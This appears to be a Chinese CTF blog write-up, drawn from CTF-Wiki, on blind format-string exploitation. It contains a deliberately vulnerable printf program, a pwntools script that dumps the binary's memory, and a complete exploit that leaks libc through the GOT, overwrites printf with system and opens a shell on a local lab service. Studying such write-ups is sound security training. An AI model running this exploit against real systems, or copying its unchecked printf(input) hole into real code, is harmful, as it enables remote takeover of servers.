FmtStr Blind Got

CTF中对格式化字符串漏洞的盲打,CTFWiKi上都有,自己只是拿来总结下过程

Blind_Got

环境

Code:

1
#include <stdio.h>
2
int main() {
3
  char input[128];
4
  while (1) {
5
    read(0, input, 128);
6
    printf(input);
7
    fflush(stdout);
8
  }
9
  return 0;
10
}

利用Gcc编译,编译的同时关闭pie和canary保护

1
gcc -fno-stack-protector -no-pie main.c -o blind

题目部署:

1
nohup socat tcp-l:9999,reuseaddr,fork exec:./blind &

分析

首先程序题目应该什么都没有,那么我们就要利用所学的Pwn知识不断的尝试,然后对程序的返回结果进行分析
此处题目我放在本地,利于自己对题目的分析
在什么都不知道的情况下,输入%p,程序返回一个地址,且据地址可知道程序为64位,那么猜测这是格式化字符串…而且可以多次输入并返回结果
然后确定偏移量,最后获得偏移量为6
猜测FmtStr_Blind_Got 利用,第一步要做的则是泄露出部分程序代码,64位程序从0x40000开始泄漏[如果 开启起Pie,那么…没法玩]
我们采用下面的代码

1
from pwn import*
2
#context.log_level = 'debug'
3
ip = '127.0.0.1'
4
port = 8888
5
def leak(addr):
6
	num  = 0
7
	while num < 3:
8
		try:
9
#			print 'leak addr: ' + hex(addr)
10
			p = remote(ip,port)
11
			payload = '%00008$s'+'STARTEND'+p64(addr)
12
			if '\x0a' in payload:
13
				return None
14
			p.sendline(payload)
15
			date = p.recvuntil('STARTEND',drop = True)
16
			p.close()
17
			return date
18
		except Exception:
19
			num += 1
20
			continue
21
	return None
22
def getbinary():
23
	addr = 0x400000
24
	f = open('binary','w')
25
	while addr<0x401000:
26
		date = leak(addr)
27
		if date is None:
28
			f.write('\xff')
29
			addr +=1
30
		elif len(date) == 0:
31
			f.write('\x00')
32
			addr +=1
33
		else:
34
			f.write(date)
35
			addr +=len(date)
36
	f.close()
37
getbinary()

本地目录生成了binary文件,用IDA进行简单的查看,可以确定某些信息,从而推断出程序部分原代码
IDA中查看,转化为汇编语言,对于此程序,其中大概能推测出有一个Read函数,一个printf函数


程序泄漏的差不多了,之后我们要做的就是取得read_Got 以及 printf_Got 的地址,利用常规的FmtStr漏洞打印出我们需要的程序在服务器上的真实地址,从而泄露出libc版本,那么我们可以确定system_Addr并修改printf的Got表内地址为system函数的地址,最后令程序执行我们设定好的过程

利用

1
#coding=utf8
2
import math
3
from pwn import *
4
from LibcSearcher import LibcSearcher
5
context.log_level = 'debug'
6
context.arch = 'amd64'
7
ip = "127.0.0.1"
8
port = 8888
9
def leak(addr):
10
	num  = 0
11
	while num < 3:
12
		try:
13
#			print 'leak addr: ' + hex(addr)
14
			p = remote(ip,port)
15
			payload = '%00008$s'+'STARTEND'+p64(addr)
16
			if '\x0a' in payload:
17
				return None
18
			p.sendline(payload)
19
			date = p.recvuntil('STARTEND',drop = True)
20
			p.close()
21
			return date
22
		except Exception:
23
			num += 1
24
			continue
25
	return None
26
def getbinary():
27
	addr = 0x400000
28
	f = open('binary','w')
29
	while addr<0x401000:
30
		date = leak(addr)
31
		if date is None:
32
			f.write('\xff')
33
			addr +=1
34
		elif len(date) == 0:
35
			f.write('\x00')
36
			addr +=1
37
		else:
38
			f.write(date)
39
			addr +=len(date)
40
	f.close()
41
#getbinary()
42
read_got = 0x404020
43
printf_got = 0x404018
44
log.success('Read   Got: ' + hex(read_got))
45
log.success('Printf Got: ' + hex(printf_got))
46
sh =remote(ip,port)
47
# let the read get resolved
48
sh.sendline('A')
49
sh.recv()
50
# get printf addr
51
payload = '%00008$s' + 'STARTEND' + p64(read_got)
52
sh.sendline(payload)
53
read_addr = u64(sh.recvuntil('STARTEND', drop=True).ljust(8, '\x00'))
54
sh.recv()
55
56
# get system addr
57
libc = LibcSearcher('read', read_addr)
58
libc_base = read_addr - libc.dump('read')
59
system_addr = libc_base + libc.dump('system')
60
log.success('system addr: ' + hex(system_addr))
61
log.success('read   addr: ' + hex(read_addr))
62
# modify printf_got
63
def modify(modify_addr,address):
64
	modify_addr1 = modify_addr>>48
65
	modify_addr2 = modify_addr>>32&0xffff
66
	modify_addr3 = modify_addr>>16&0xffff
67
	modify_addr4 = modify_addr&0xffff
68
	print 'Modify_Addr1:'+str(modify_addr1)
69
	print 'Modify_Addr2:'+str(modify_addr2)
70
	print 'Modify_Addr3:'+str(modify_addr3)
71
	print 'Modify_Addr4:'+str(modify_addr4)
72
	if modify_addr1 != 0: 
73
		payload = '%'+str(modify_addr1)+'c%6$hn'+'%'+str(modify_addr2-modify_addr1)+'c%7$hn'+'%' + str(modify_addr3-modify_addr2)+'c%8$hn'+'%'+str(modify_addr4-modify_addr3)+'c%9$hn'
74
	else:
75
		payload = '%6$hn'+'%'+str(modify_addr2-modify_addr1)+'c%7$hn'+'%' + str(modify_addr3-modify_addr2)+'c%8$hn'+'%'+str(modify_addr4-modify_addr3)+'c%9$hn'
76
	offset = (int)(math.ceil(len(payload) / 8.0) + 1)
77
	for i in range(6,10):
78
		old = '%{}$'.format(i)
79
		new = '%{}$'.format(offset + i)
80
		payload = payload.replace(old, new)
81
	remain = (8 - len(payload)%8)*'A'
82
	payload += remain
83
	payload +=p64(address+6)+p64(address+4)+p64(address + 2) +p64(address)
84
	sh.sendline(payload)
85
modify(system_addr,printf_got)
86
sh.recvrepeat(0.5)
87
# get shell
88
sh.sendline('/bin/sh;')
89
sh.interactive()

上述EXP对System地址分成的四个部分有大小要求,所以需要尝试多次,以满足程序要求,TTTTTTTCL
文章总体取自CTF-Wiki,总体上来讲,借鉴颇多,收获匪浅!!!
下载:EXP

Contents
  1. 1. Blind_Got
    1. 1.1. 环境
    2. 1.2. 分析
    3. 1.3. 利用
|